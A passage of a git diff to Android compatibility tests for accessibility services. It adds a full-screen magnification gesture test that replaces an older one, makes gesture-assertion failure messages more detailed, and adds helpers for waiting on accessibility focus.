-                    AccessibilityWindowInfo window = windows.get(i);
-                    if (window.isAccessibilityFocused()) {
-                        AccessibilityNodeInfo root = window.getRoot();
-                        if (root != null) {
-                            root.performAction(
-                                    AccessibilityNodeInfo.ACTION_CLEAR_ACCESSIBILITY_FOCUS);
+            sUiAutomation.executeAndWaitForEvent(
+                    () -> {
+                        List<AccessibilityWindowInfo> windows = sUiAutomation.getWindows();
+                        final int windowCount = windows.size();
+                        for (int i = 0; i < windowCount; i++) {
+                            AccessibilityWindowInfo window = windows.get(i);
+                            if (window.isAccessibilityFocused()) {
+                                AccessibilityNodeInfo root = window.getRoot();
+                                if (root != null) {
+                                    root.performAction(
+                                            AccessibilityNodeInfo.ACTION_CLEAR_ACCESSIBILITY_FOCUS);
+                                }
+                            }
                         }
-                    }
-                }
-            }, filterForEventType(TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED), DEFAULT_TIMEOUT_MS);
+                    },
+                    filterForEventTypeWithAction(
+                            TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED,
+                            ACTION_CLEAR_ACCESSIBILITY_FOCUS),
+                    DEFAULT_TIMEOUT_MS);
         } catch (TimeoutException te) {
             /* ignore */
         }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/FullScreenMagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/FullScreenMagnificationGestureHandlerTest.java
new file mode 100644
index 0000000..4a70c86
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/FullScreenMagnificationGestureHandlerTest.java
@@ -0,0 +1,325 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import static android.accessibilityservice.cts.utils.AsyncUtils.await;
+import static android.accessibilityservice.cts.utils.AsyncUtils.waitOn;
+import static android.accessibilityservice.cts.utils.GestureUtils.add;
+import static android.accessibilityservice.cts.utils.GestureUtils.click;
+import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
+import static android.accessibilityservice.cts.utils.GestureUtils.distance;
+import static android.accessibilityservice.cts.utils.GestureUtils.doubleTap;
+import static android.accessibilityservice.cts.utils.GestureUtils.drag;
+import static android.accessibilityservice.cts.utils.GestureUtils.endTimeOf;
+import static android.accessibilityservice.cts.utils.GestureUtils.lastPointOf;
+import static android.accessibilityservice.cts.utils.GestureUtils.longClick;
+import static android.accessibilityservice.cts.utils.GestureUtils.path;
+import static android.accessibilityservice.cts.utils.GestureUtils.pointerDown;
+import static android.accessibilityservice.cts.utils.GestureUtils.pointerUp;
+import static android.accessibilityservice.cts.utils.GestureUtils.startingAt;
+import static android.accessibilityservice.cts.utils.GestureUtils.swipe;
+import static android.accessibilityservice.cts.utils.GestureUtils.tripleTap;
+import static android.view.MotionEvent.ACTION_DOWN;
+import static android.view.MotionEvent.ACTION_MOVE;
+import static android.view.MotionEvent.ACTION_UP;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
+import android.accessibilityservice.GestureDescription;
+import android.accessibilityservice.GestureDescription.StrokeDescription;
+import android.accessibilityservice.cts.AccessibilityGestureDispatchTest.GestureDispatchActivity;
+import android.accessibilityservice.cts.utils.EventCapturingTouchListener;
+import android.app.Instrumentation;
+import android.content.pm.PackageManager;
+import android.graphics.PointF;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
+import android.view.ViewConfiguration;
+import android.widget.TextView;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+/**
+ * Class for testing
+ * {@link com.android.server.accessibility.magnification.FullScreenMagnificationGestureHandler}.
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class FullScreenMagnificationGestureHandlerTest {
+
+    private static final double MIN_SCALE = 1.2;
+
+    private InstrumentedAccessibilityService mService;
+    private Instrumentation mInstrumentation;
+    private EventCapturingTouchListener mTouchListener = new EventCapturingTouchListener();
+    float mCurrentScale = 1f;
+    PointF mCurrentZoomCenter = null;
+    PointF mTapLocation;
+    PointF mTapLocation2;
+    float mPan;
+    private boolean mHasTouchscreen;
+    private boolean mOriginalIsMagnificationEnabled;
+    private int mOriginalIsMagnificationCapabilities;
+    private int mOriginalIsMagnificationMode;
+
+    private final Object mZoomLock = new Object();
+
+    private ActivityTestRule<GestureDispatchActivity> mActivityRule =
+            new ActivityTestRule<>(GestureDispatchActivity.class);
+
+    private InstrumentedAccessibilityServiceTestRule<StubMagnificationAccessibilityService>
+            mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+            StubMagnificationAccessibilityService.class, false);
+
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mActivityRule)
+            .around(mServiceRule)
+            .around(mDumpOnFailureRule);
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        PackageManager pm = mInstrumentation.getContext().getPackageManager();
+        mHasTouchscreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
+                || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
+        if (!mHasTouchscreen) return;
+
+        // Backup and reset magnification settings.
+        mOriginalIsMagnificationCapabilities = getSecureSettingInt(
+                Settings.Secure.ACCESSIBILITY_MAGNIFICATION_CAPABILITY,
+                Settings.Secure.ACCESSIBILITY_MAGNIFICATION_MODE_FULLSCREEN);
+        setMagnificationCapabilities(Settings.Secure.ACCESSIBILITY_MAGNIFICATION_MODE_FULLSCREEN);
+        mOriginalIsMagnificationMode = getSecureSettingInt(
+                Settings.Secure.ACCESSIBILITY_MAGNIFICATION_MODE,
+                Settings.Secure.ACCESSIBILITY_MAGNIFICATION_MODE_FULLSCREEN);
+        setMagnificationMode(Settings.Secure.ACCESSIBILITY_MAGNIFICATION_MODE_FULLSCREEN);
+        mOriginalIsMagnificationEnabled = getSecureSettingInt(
+                Settings.Secure.ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED, 0) == 1;
+        setMagnificationEnabled(true);
+
+        mService = mServiceRule.enableService();
+        mService.getMagnificationController().addListener(
+                (controller, region, scale, centerX, centerY) -> {
+                    mCurrentScale = scale;
+                    mCurrentZoomCenter = isZoomed() ? new PointF(centerX, centerY) : null;
+
+                    synchronized (mZoomLock) {
+                        mZoomLock.notifyAll();
+                    }
+                });
+
+        TextView view = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
+        mInstrumentation.runOnMainSync(() -> {
+            view.setOnTouchListener(mTouchListener);
+            int[] xy = new int[2];
+            view.getLocationOnScreen(xy);
+            mTapLocation = new PointF(xy[0] + view.getWidth() / 2, xy[1] + view.getHeight() / 2);
+            mTapLocation2 = add(mTapLocation, 31, 29);
+            mPan = view.getWidth() / 4;
+        });
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (!mHasTouchscreen) return;
+
+        // Restore magnification settings.
+        setMagnificationEnabled(mOriginalIsMagnificationEnabled);
+        setMagnificationCapabilities(mOriginalIsMagnificationCapabilities);
+        setMagnificationMode(mOriginalIsMagnificationMode);
+    }
+
+    @Test
+    public void testZoomOnOff() {
+        if (!mHasTouchscreen) return;
+
+        assertFalse(isZoomed());
+
+        assertGesturesPropagateToView();
+        assertFalse(isZoomed());
+
+        setZoomByTripleTapping(true);
+
+        assertGesturesPropagateToView();
+        assertTrue(isZoomed());
+
+        setZoomByTripleTapping(false);
+    }
+
+    @Test
+    public void testViewportDragging() {
+        if (!mHasTouchscreen) return;
+
+        assertFalse(isZoomed());
+        tripleTapAndDragViewport();
+        waitOn(mZoomLock, () -> !isZoomed());
+
+        setZoomByTripleTapping(true);
+        tripleTapAndDragViewport();
+        assertTrue(isZoomed());
+
+        setZoomByTripleTapping(false);
+    }
+
+    @Test
+    public void testPanning() {
+        //The minimum movement to transit to panningState.
+        final float minSwipeDistance = ViewConfiguration.get(
+                mInstrumentation.getContext()).getScaledTouchSlop() + 1;
+        final boolean screenBigEnough = mPan > minSwipeDistance;
+        if (!mHasTouchscreen || !screenBigEnough) return;
+        assertFalse(isZoomed());
+
+        setZoomByTripleTapping(true);
+        final PointF oldCenter = mCurrentZoomCenter;
+
+        // Dispatch a swipe gesture composed of two consecutive gestures; the first one to transit
+        // to panningState, and the second one to moves the window.
+        final GestureDescription.Builder builder1 = new GestureDescription.Builder();
+        final GestureDescription.Builder builder2 = new GestureDescription.Builder();
+
+        final long totalDuration = ViewConfiguration.getTapTimeout();
+        final long firstDuration = (long) (totalDuration * (minSwipeDistance / mPan));
+
+        for (final PointF startPoint : new PointF[]{mTapLocation, mTapLocation2}) {
+            final PointF midPoint = add(startPoint, -minSwipeDistance, 0);
+            final PointF endPoint = add(startPoint, -mPan, 0);
+            final StrokeDescription firstStroke = new StrokeDescription(path(startPoint, midPoint),
+                    0, firstDuration, true);
+            final StrokeDescription secondStroke = firstStroke.continueStroke(
+                    path(midPoint, endPoint), 0, totalDuration - firstDuration, false);
+            builder1.addStroke(firstStroke);
+            builder2.addStroke(secondStroke);
+        }
+
+        dispatch(builder1.build());
+        dispatch(builder2.build());
+
+        waitOn(mZoomLock,
+                () -> (mCurrentZoomCenter.x - oldCenter.x
+                        >= (mPan - minSwipeDistance) / mCurrentScale * 0.9));
+
+        setZoomByTripleTapping(false);
+    }
+
+    private void setZoomByTripleTapping(boolean desiredZoomState) {
+        if (isZoomed() == desiredZoomState) return;
+        dispatch(tripleTap(mTapLocation));
+        waitOn(mZoomLock, () -> isZoomed() == desiredZoomState);
+        mTouchListener.assertNonePropagated();
+    }
+
+    private void tripleTapAndDragViewport() {
+        StrokeDescription down = tripleTapAndHold();
+
+        PointF oldCenter = mCurrentZoomCenter;
+
+        StrokeDescription drag = drag(down, add(lastPointOf(down), mPan, 0f));
+        dispatch(drag);
+        waitOn(mZoomLock, () -> distance(mCurrentZoomCenter, oldCenter) >= mPan / 5);
+        assertTrue(isZoomed());
+        mTouchListener.assertNonePropagated();
+
+        dispatch(pointerUp(drag));
+        mTouchListener.assertNonePropagated();
+    }
+
+    private StrokeDescription tripleTapAndHold() {
+        StrokeDescription tap1 = click(mTapLocation);
+        StrokeDescription tap2 = startingAt(endTimeOf(tap1) + 20, click(mTapLocation2));
+        StrokeDescription down = startingAt(endTimeOf(tap2) + 20, pointerDown(mTapLocation));
+        dispatch(tap1, tap2, down);
+        waitOn(mZoomLock, () -> isZoomed());
+        return down;
+    }
+
+    private void assertGesturesPropagateToView() {
+        dispatch(click(mTapLocation));
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
+
+        dispatch(longClick(mTapLocation));
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
+
+        dispatch(doubleTap(mTapLocation));
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP, ACTION_DOWN, ACTION_UP);
+
+        dispatch(swipe(
+                mTapLocation,
+                add(mTapLocation, 0, 29)));
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_MOVE, ACTION_UP);
+    }
+
+    private int getSecureSettingInt(String key, int defaultValue) {
+        return Settings.Secure.getInt(mInstrumentation.getContext().getContentResolver(),
+                key,
+                defaultValue);
+    }
+
+    private void putSecureSettingInt(String key, int value) {
+        Settings.Secure.putInt(mInstrumentation.getContext().getContentResolver(),
+                key, value);
+    }
+
+    private void setMagnificationEnabled(boolean enabled) {
+        putSecureSettingInt(Settings.Secure.ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED,
+                enabled ? 1 : 0);
+    }
+
+    private void setMagnificationCapabilities(int capabilities) {
+        putSecureSettingInt(Settings.Secure.ACCESSIBILITY_MAGNIFICATION_CAPABILITY,
+                capabilities);
+    }
+
+    private void setMagnificationMode(int mode) {
+        putSecureSettingInt(Settings.Secure.ACCESSIBILITY_MAGNIFICATION_MODE,
+                mode);
+    }
+
+    private boolean isZoomed() {
+        return mCurrentScale >= MIN_SCALE;
+    }
+
+    public void dispatch(StrokeDescription firstStroke, StrokeDescription... rest) {
+        GestureDescription.Builder builder =
+                new GestureDescription.Builder().addStroke(firstStroke);
+        for (StrokeDescription stroke : rest) {
+            builder.addStroke(stroke);
+        }
+        dispatch(builder.build());
+    }
+
+    public void dispatch(GestureDescription gesture) {
+        await(dispatchGesture(mService, gesture));
+    }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java
index fa8147a..5f6689c 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java
@@ -28,7 +28,7 @@
 /** Accessibility service stub, which will collect recognized gestures. */
 public class GestureDetectionStubAccessibilityService extends InstrumentedAccessibilityService {
     private static final long GESTURE_RECOGNIZE_TIMEOUT_MS = 3000;
-    private static final long EVENT_RECOGNIZE_TIMEOUT_MS = 5000;
+    protected static final long EVENT_RECOGNIZE_TIMEOUT_MS = 5000;
     // Member variables
     protected final Object mLock = new Object();
     private ArrayList<Integer> mCollectedGestures = new ArrayList();
@@ -154,18 +154,45 @@
     public void assertGestureReceived(int gestureId, int displayId) {
         // Wait for gesture recognizer, and check recognized gesture.
         waitUntilGestureInfo();
-        if(displayId == Display.DEFAULT_DISPLAY) {
-            assertEquals(1, getGesturesSize());
-            assertEquals(gestureId, getGesture(0));
+        if (displayId == Display.DEFAULT_DISPLAY) {
+            String expected = AccessibilityGestureEvent.gestureIdToString(gestureId);
+            if (getGesturesSize() == 0) {
+                fail("No gesture received when expecting " + expected);
+            } else if (getGesturesSize() > 1) {
+                List<String> received = new ArrayList<>();
+                for (int i = 0; i < getGesturesSize(); ++i) {
+                    received.add(AccessibilityGestureEvent.gestureIdToString(getGesture(i)));
+                }
+                fail("Expected " + expected + " but received " + received);
+            } else {
+                String received = AccessibilityGestureEvent.gestureIdToString(getGesture(0));
+                assertEquals(expected, received);
+            }
         }
-        assertEquals(1, getGestureInfoSize());
+        String expected = AccessibilityGestureEvent.gestureIdToString(gestureId);
+        if (getGestureInfoSize() == 0) {
+            fail("No gesture received when expecting " + expected);
+        } else if (getGestureInfoSize() > 1) {
+            List<String> received = new ArrayList<>();
+            for (int i = 0; i < getGesturesSize(); ++i) {
+                received.add(
+                        AccessibilityGestureEvent.gestureIdToString(
+                                getGestureInfo(i).getGestureId()));
+            }
+            fail("Expected " + expected + " but received " + received);
+        }
         AccessibilityGestureEvent expectedGestureEvent =
                 new AccessibilityGestureEvent(gestureId, displayId);
         AccessibilityGestureEvent actualGestureEvent = getGestureInfo(0);
         if (!expectedGestureEvent.toString().equals(actualGestureEvent.toString())) {
-            fail("Unexpected gesture received, "
-                    + "Received " + actualGestureEvent + ", Expected " + expectedGestureEvent);
+            fail(
+                    "Unexpected gesture received, "
+                            + "Received "
+                            + actualGestureEvent
+                            + ", Expected "
+                            + expectedGestureEvent);
         }
+        clearGestures();
     }
 
     /** Insure that the specified accessibility events have been received. */
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
deleted file mode 100644
index 32d8a82..0000000
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
+++ /dev/null
@@ -1,290 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.accessibilityservice.cts;
-
-import static android.accessibilityservice.cts.utils.AsyncUtils.await;
-import static android.accessibilityservice.cts.utils.AsyncUtils.waitOn;
-import static android.accessibilityservice.cts.utils.GestureUtils.add;
-import static android.accessibilityservice.cts.utils.GestureUtils.click;
-import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
-import static android.accessibilityservice.cts.utils.GestureUtils.distance;
-import static android.accessibilityservice.cts.utils.GestureUtils.doubleTap;
-import static android.accessibilityservice.cts.utils.GestureUtils.drag;
-import static android.accessibilityservice.cts.utils.GestureUtils.endTimeOf;
-import static android.accessibilityservice.cts.utils.GestureUtils.lastPointOf;
-import static android.accessibilityservice.cts.utils.GestureUtils.longClick;
-import static android.accessibilityservice.cts.utils.GestureUtils.path;
-import static android.accessibilityservice.cts.utils.GestureUtils.pointerDown;
-import static android.accessibilityservice.cts.utils.GestureUtils.pointerUp;
-import static android.accessibilityservice.cts.utils.GestureUtils.startingAt;
-import static android.accessibilityservice.cts.utils.GestureUtils.swipe;
-import static android.accessibilityservice.cts.utils.GestureUtils.tripleTap;
-import static android.view.MotionEvent.ACTION_DOWN;
-import static android.view.MotionEvent.ACTION_MOVE;
-import static android.view.MotionEvent.ACTION_UP;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
-import android.accessibility.cts.common.InstrumentedAccessibilityService;
-import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
-import android.accessibilityservice.GestureDescription;
-import android.accessibilityservice.GestureDescription.StrokeDescription;
-import android.accessibilityservice.cts.AccessibilityGestureDispatchTest.GestureDispatchActivity;
-import android.accessibilityservice.cts.utils.EventCapturingTouchListener;
-import android.app.Instrumentation;
-import android.content.pm.PackageManager;
-import android.graphics.PointF;
-import android.platform.test.annotations.AppModeFull;
-import android.provider.Settings;
-import android.view.ViewConfiguration;
-import android.widget.TextView;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.rule.ActivityTestRule;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-
-/**
- * Class for testing magnification.
- */
-@RunWith(AndroidJUnit4.class)
-@AppModeFull
-public class MagnificationGestureHandlerTest {
-
-    private static final double MIN_SCALE = 1.2;
-
-    private InstrumentedAccessibilityService mService;
-    private Instrumentation mInstrumentation;
-    private EventCapturingTouchListener mTouchListener = new EventCapturingTouchListener();
-    float mCurrentScale = 1f;
-    PointF mCurrentZoomCenter = null;
-    PointF mTapLocation;
-    PointF mTapLocation2;
-    float mPan;
-    private boolean mHasTouchscreen;
-    private boolean mOriginalIsMagnificationEnabled;
-
-    private final Object mZoomLock = new Object();
-
-    private ActivityTestRule<GestureDispatchActivity> mActivityRule =
-            new ActivityTestRule<>(GestureDispatchActivity.class);
-
-    private InstrumentedAccessibilityServiceTestRule<StubMagnificationAccessibilityService>
-            mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
-                    StubMagnificationAccessibilityService.class, false);
-
-    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
-            new AccessibilityDumpOnFailureRule();
-
-    @Rule
-    public final RuleChain mRuleChain = RuleChain
-            .outerRule(mActivityRule)
-            .around(mServiceRule)
-            .around(mDumpOnFailureRule);
-
-    @Before
-    public void setUp() throws Exception {
-        mInstrumentation = InstrumentationRegistry.getInstrumentation();
-        PackageManager pm = mInstrumentation.getContext().getPackageManager();
-        mHasTouchscreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
-                || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
-        if (!mHasTouchscreen) return;
-
-        mOriginalIsMagnificationEnabled =
-                Settings.Secure.getInt(mInstrumentation.getContext().getContentResolver(),
-                        Settings.Secure.ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED, 0) == 1;
-        setMagnificationEnabled(true);
-
-        mService = mServiceRule.enableService();
-        mService.getMagnificationController().addListener(
-                (controller, region, scale, centerX, centerY) -> {
-                    mCurrentScale = scale;
-                    mCurrentZoomCenter = isZoomed() ? new PointF(centerX, centerY) : null;
-
-                    synchronized (mZoomLock) {
-                        mZoomLock.notifyAll();
-                    }
-                });
-
-        TextView view = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
-        mInstrumentation.runOnMainSync(() -> {
-            view.setOnTouchListener(mTouchListener);
-            int[] xy = new int[2];
-            view.getLocationOnScreen(xy);
-            mTapLocation = new PointF(xy[0] + view.getWidth() / 2, xy[1] + view.getHeight() / 2);
-            mTapLocation2 = add(mTapLocation, 31, 29);
-            mPan = view.getWidth() / 4;
-        });
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        if (!mHasTouchscreen) return;
-
-        setMagnificationEnabled(mOriginalIsMagnificationEnabled);
-    }
-
-    @Test
-    public void testZoomOnOff() {
-        if (!mHasTouchscreen) return;
-
-        assertFalse(isZoomed());
-
-        assertGesturesPropagateToView();
-        assertFalse(isZoomed());
-
-        setZoomByTripleTapping(true);
-
-        assertGesturesPropagateToView();
-        assertTrue(isZoomed());
-
-        setZoomByTripleTapping(false);
-    }
-
-    @Test
-    public void testViewportDragging() {
-        if (!mHasTouchscreen) return;
-
-        assertFalse(isZoomed());
-        tripleTapAndDragViewport();
-        waitOn(mZoomLock, () -> !isZoomed());
-
-        setZoomByTripleTapping(true);
-        tripleTapAndDragViewport();
-        assertTrue(isZoomed());
-
-        setZoomByTripleTapping(false);
-    }
-
-    @Test
-    public void testPanning() {
-        //The minimum movement to transit to panningState.
-        final float minSwipeDistance = ViewConfiguration.get(
-                mInstrumentation.getContext()).getScaledTouchSlop() + 1;
-        final boolean screenBigEnough = mPan > minSwipeDistance;
-        if (!mHasTouchscreen || !screenBigEnough) return;
-        assertFalse(isZoomed());
-
-        setZoomByTripleTapping(true);
-        final PointF oldCenter = mCurrentZoomCenter;
-
-        // Dispatch a swipe gesture composed of two consecutive gestures; the first one to transit
-        // to panningState, and the second one to moves the window.
-        final GestureDescription.Builder builder1 = new GestureDescription.Builder();
-        final GestureDescription.Builder builder2 = new GestureDescription.Builder();
-
-        final long totalDuration = ViewConfiguration.getTapTimeout();
-        final long firstDuration = (long)(totalDuration * (minSwipeDistance / mPan));
-
-        for (final PointF startPoint : new PointF[]{mTapLocation, mTapLocation2}) {
-            final PointF midPoint = add(startPoint, -minSwipeDistance, 0);
-            final PointF endPoint = add(startPoint, -mPan, 0);
-            final StrokeDescription firstStroke = new StrokeDescription(path(startPoint, midPoint),
-                    0, firstDuration, true);
-            final StrokeDescription secondStroke = firstStroke.continueStroke(
-                    path(midPoint, endPoint), 0, totalDuration - firstDuration, false);
-            builder1.addStroke(firstStroke);
-            builder2.addStroke(secondStroke);
-        }
-
-        dispatch(builder1.build());
-        dispatch(builder2.build());
-
-        waitOn(mZoomLock,
-                () -> (mCurrentZoomCenter.x - oldCenter.x
-                        >= (mPan - minSwipeDistance) / mCurrentScale * 0.9));
-
-        setZoomByTripleTapping(false);
-    }
-
-    private void setZoomByTripleTapping(boolean desiredZoomState) {
-        if (isZoomed() == desiredZoomState) return;
-        dispatch(tripleTap(mTapLocation));
-        waitOn(mZoomLock, () -> isZoomed() == desiredZoomState);
-        mTouchListener.assertNonePropagated();
-    }
-
-    private void tripleTapAndDragViewport() {
-        StrokeDescription down = tripleTapAndHold();
-
-        PointF oldCenter = mCurrentZoomCenter;
-
-        StrokeDescription drag = drag(down, add(lastPointOf(down), mPan, 0f));
-        dispatch(drag);
-        waitOn(mZoomLock, () -> distance(mCurrentZoomCenter, oldCenter) >= mPan / 5);
-        assertTrue(isZoomed());
-        mTouchListener.assertNonePropagated();
-
-        dispatch(pointerUp(drag));
-        mTouchListener.assertNonePropagated();
-    }
-
-    private StrokeDescription tripleTapAndHold() {
-        StrokeDescription tap1 = click(mTapLocation);
-        StrokeDescription tap2 = startingAt(endTimeOf(tap1) + 20, click(mTapLocation2));
-        StrokeDescription down = startingAt(endTimeOf(tap2) + 20, pointerDown(mTapLocation));
-        dispatch(tap1, tap2, down);
-        waitOn(mZoomLock, () -> isZoomed());
-        return down;
-    }
-
-    private void assertGesturesPropagateToView() {
-        dispatch(click(mTapLocation));
-        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
-
-        dispatch(longClick(mTapLocation));
-        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
-
-        dispatch(doubleTap(mTapLocation));
-        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP, ACTION_DOWN, ACTION_UP);
-
-        dispatch(swipe(
-                mTapLocation,
-                add(mTapLocation, 0, 29)));
-        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_MOVE, ACTION_UP);
-    }
-
-    private void setMagnificationEnabled(boolean enabled) {
-        Settings.Secure.putInt(mInstrumentation.getContext().getContentResolver(),
-                Settings.Secure.ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED, enabled ? 1 : 0);
-    }
-
-    private boolean isZoomed() {
-        return mCurrentScale >= MIN_SCALE;
-    }
-
-    public void dispatch(StrokeDescription firstStroke, StrokeDescription... rest) {
-        GestureDescription.Builder builder =
-                new GestureDescription.Builder().addStroke(firstStroke);
-        for (StrokeDescription stroke : rest) {
-            builder.addStroke(stroke);
-        }
-        dispatch(builder.build());
-    }
-
-    public void dispatch(GestureDescription gesture) {
-        await(dispatchGesture(mService, gesture));
-    }
-}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFocusIndicatorService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFocusIndicatorService.java
new file mode 100644
index 0000000..ae903cb
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFocusIndicatorService.java
@@ -0,0 +1,23 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
+ * express or implied. See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import android.accessibility.cts.common.InstrumentedAccessibilityService;
+
+/**
+ * A stub accessibility service to install for testing focus indicator APIs
+ */
+public class StubFocusIndicatorService extends InstrumentedAccessibilityService {
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java
index 61a1cea..826e53f 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java
@@ -21,19 +21,25 @@
 
 import android.view.accessibility.AccessibilityEvent;
 
+import com.android.compatibility.common.util.TestUtils;
+
 /**
  * This accessibility service stub collects all events relating to touch exploration rather than
  * just the few collected by GestureDetectionStubAccessibilityService
  */
 public class TouchExplorationStubAccessibilityService
         extends GestureDetectionStubAccessibilityService {
+
     @Override
     public void onAccessibilityEvent(AccessibilityEvent event) {
         synchronized (mLock) {
             switch (event.getEventType()) {
+                case TYPE_VIEW_ACCESSIBILITY_FOCUSED:
+                    mCollectedEvents.add(event.getEventType());
+                    mLock.notifyAll();
+                    break;
                 case TYPE_GESTURE_DETECTION_START:
                 case TYPE_GESTURE_DETECTION_END:
-                case TYPE_VIEW_ACCESSIBILITY_FOCUSED:
                 case TYPE_VIEW_CLICKED:
                 case TYPE_VIEW_LONG_CLICKED:
                     mCollectedEvents.add(event.getEventType());
@@ -41,4 +47,10 @@
         }
         super.onAccessibilityEvent(event);
     }
+
+    /** Wait for accessibility focus from onAccessibilityEvent(). */
+    public void waitForAccessibilityFocus() {
+        TestUtils.waitOn(mLock, () -> mCollectedEvents.contains(TYPE_VIEW_ACCESSIBILITY_FOCUSED),
+                EVENT_RECOGNIZE_TIMEOUT_MS, "waitForAccessibilityFocus");
+    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
index 3ceab31..e2ef0b6 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
@@ -17,11 +17,14 @@
 package android.accessibilityservice.cts;
 
 import static android.accessibilityservice.cts.utils.AsyncUtils.await;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_DOWN;
